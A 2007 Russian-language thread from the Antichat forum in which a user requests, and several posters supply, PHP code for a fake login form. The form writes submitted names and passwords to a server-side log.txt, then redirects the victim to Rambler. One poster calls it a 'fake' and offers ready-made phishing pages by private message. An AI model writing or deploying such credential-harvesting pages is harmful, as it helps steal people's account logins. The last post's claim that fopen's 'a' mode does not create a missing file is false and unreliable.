Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   ПО для Web разработчика (https://forum.antichat.xyz/forumdisplay.php?f=92)
-   -   Форма на Php (https://forum.antichat.xyz/showthread.php?t=52834)

Other 05.11.2007 09:12

Форма на Php
 
Помогите плззз!
Знаю что для, людей которые хорошо знают php дело 2-х минут.
В общем надо форму аутентификации с двумя или тремя полями,
Например имя:
Пароль:
Чо нить ещё:
Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler.
Вроде просто, но блин времени мало, что бы самому разбираться.

Выложите плззз готовый код.
И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?

.::Gh0st::. 05.11.2007 12:42

PHP код:

<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
    1: <input type="text" name="1"/><br/>
    2: <input type="text" name="2"/><br/>
    3: <input type="text" name="3"/><br/>
    <input type="submit" name="submit" value="ок"/>
</form>

<?
if (isset($_POST))
{
    
$string "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
    
$handle fopen("log.txt""a");
    
fputs($handle$string);
    
fclose($handle);
    
header("Location: http://rambler.ru/");    
}
?>


Kusto 05.11.2007 13:04

если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М

halkfild 05.11.2007 13:08

все правильно только надо поменять местами.. так редиректа не будет

Цитата:

Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле, или из PHP.
а так будет
PHP код:

<? 
if (isset($_POST)) 

    
$string "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------"
    
$handle fopen("log.txt""a"); 
    
fputs($handle$string); 
    
fclose($handle); 
    
header("Location: http://rambler.ru/");     

?>
 <form action="<? echo $_SERVER["PHP_SELF"];?>" method="post"> 
    1: <input type="text" name="1"/><br/> 
    2: <input type="text" name="2"/><br/> 
    3: <input type="text" name="3"/><br/> 
    <input type="submit" name="submit" value="ок"/> 
</form>


NOmeR1 05.11.2007 13:09

.::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер.
PHP код:

<?
if( !$_POST )
{
?>
<form method="post"> 
    1: <input type="text" name="1"/><br/> 
    2: <input type="text" name="2"/><br/> 
    3: <input type="text" name="3"/><br/> 
    <input type="submit" name="submit" value="ок"/> 
</form> 
<?
}
else

    
$string $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n"
    
$handle fopen("log.txt""a"); 
    
fputs($handle$string); 
    
fclose($handle); 
    
header("Location: http://rambler.ru/");     

?>


Other 05.11.2007 13:18

2Zapadlo 17
Да ты прав, скинь если можешь.

Other 05.11.2007 13:20

$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???

blackybr 05.11.2007 13:29

'a' - если файла не существует создает.. аа так открывает на запись в конец файла

Dr.Z3r0 05.11.2007 13:29

Цитата:

Сообщение от Other
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???

Это модификатор, он может иметь значения:
'r' - Открыть только для чтения;
'r+' - Открыть для чтения и записи;
'w' - Открыть только для записи;
'a' - Открыть только для записи в конец файла;
'a+' - Открыть для чтения и записи в конец файла;

Dr.Z3r0 05.11.2007 13:34

Цитата:

Сообщение от blackybr
'a' - если файла не существует создает.. аа так открывает на запись в конец файла

не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...


Время: 02:06